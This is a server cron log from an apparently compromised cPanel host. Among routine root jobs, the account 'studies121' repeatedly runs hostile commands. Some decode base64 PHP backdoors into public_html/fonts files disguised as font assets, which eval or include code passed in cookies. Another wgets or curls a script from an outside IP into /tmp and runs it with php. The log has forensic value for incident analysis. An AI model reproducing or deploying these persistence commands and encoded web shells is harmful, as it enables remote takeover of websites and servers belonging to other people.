Aug 30 22:22:01 ip-184-168-122-23 CROND[17812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:22:01 ip-184-168-122-23 CROND[17811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:22:01 ip-184-168-122-23 CROND[17814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:23:01 ip-184-168-122-23 CROND[17899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:23:01 ip-184-168-122-23 CROND[17900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:23:01 ip-184-168-122-23 CROND[17902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:23:01 ip-184-168-122-23 CROND[17901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:24:01 ip-184-168-122-23 CROND[17984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:24:01 ip-184-168-122-23 CROND[17985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:24:01 ip-184-168-122-23 CROND[17988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:24:01 ip-184-168-122-23 CROND[17986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:24:01 ip-184-168-122-23 CROND[17987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:25:01 ip-184-168-122-23 CROND[18075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:25:01 ip-184-168-122-23 CROND[18077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:25:01 ip-184-168-122-23 CROND[18083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:25:01 ip-184-168-122-23 CROND[18084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:25:01 ip-184-168-122-23 CROND[18085]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 22:25:01 ip-184-168-122-23 CROND[18086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:25:01 ip-184-168-122-23 CROND[18082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:26:02 ip-184-168-122-23 CROND[18258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:26:02 ip-184-168-122-23 CROND[18259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:26:02 ip-184-168-122-23 CROND[18261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:26:02 ip-184-168-122-23 CROND[18262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:26:02 ip-184-168-122-23 CROND[18265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:27:01 ip-184-168-122-23 CROND[18356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:27:01 ip-184-168-122-23 CROND[18357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:27:02 ip-184-168-122-23 CROND[18358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:27:02 ip-184-168-122-23 CROND[18360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:28:01 ip-184-168-122-23 CROND[18448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:28:01 ip-184-168-122-23 CROND[18450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:28:01 ip-184-168-122-23 CROND[18451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:28:01 ip-184-168-122-23 CROND[18452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:28:01 ip-184-168-122-23 CROND[18454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:29:01 ip-184-168-122-23 CROND[18533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:29:01 ip-184-168-122-23 CROND[18535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:29:01 ip-184-168-122-23 CROND[18536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:29:01 ip-184-168-122-23 CROND[18537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:30:01 ip-184-168-122-23 CROND[18628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:30:01 ip-184-168-122-23 CROND[18630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:31:02 ip-184-168-122-23 CROND[18722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:31:02 ip-184-168-122-23 CROND[18723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:31:02 ip-184-168-122-23 CROND[18725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:31:02 ip-184-168-122-23 CROND[18726]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:31:02 ip-184-168-122-23 CROND[18727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:32:01 ip-184-168-122-23 CROND[18802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:32:01 ip-184-168-122-23 CROND[18806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:32:01 ip-184-168-122-23 CROND[18805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:32:01 ip-184-168-122-23 CROND[18807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 22:32:01 ip-184-168-122-23 CROND[18804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:33:01 ip-184-168-122-23 CROND[18885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:33:01 ip-184-168-122-23 CROND[18886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:33:01 ip-184-168-122-23 CROND[18888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 22:33:01 ip-184-168-122-23 CROND[18887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:34:01 ip-184-168-122-23 CROND[19051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 22:34:01 ip-184-168-122-23 CROND[19054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:34:01 ip-184-168-122-23 CROND[19053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
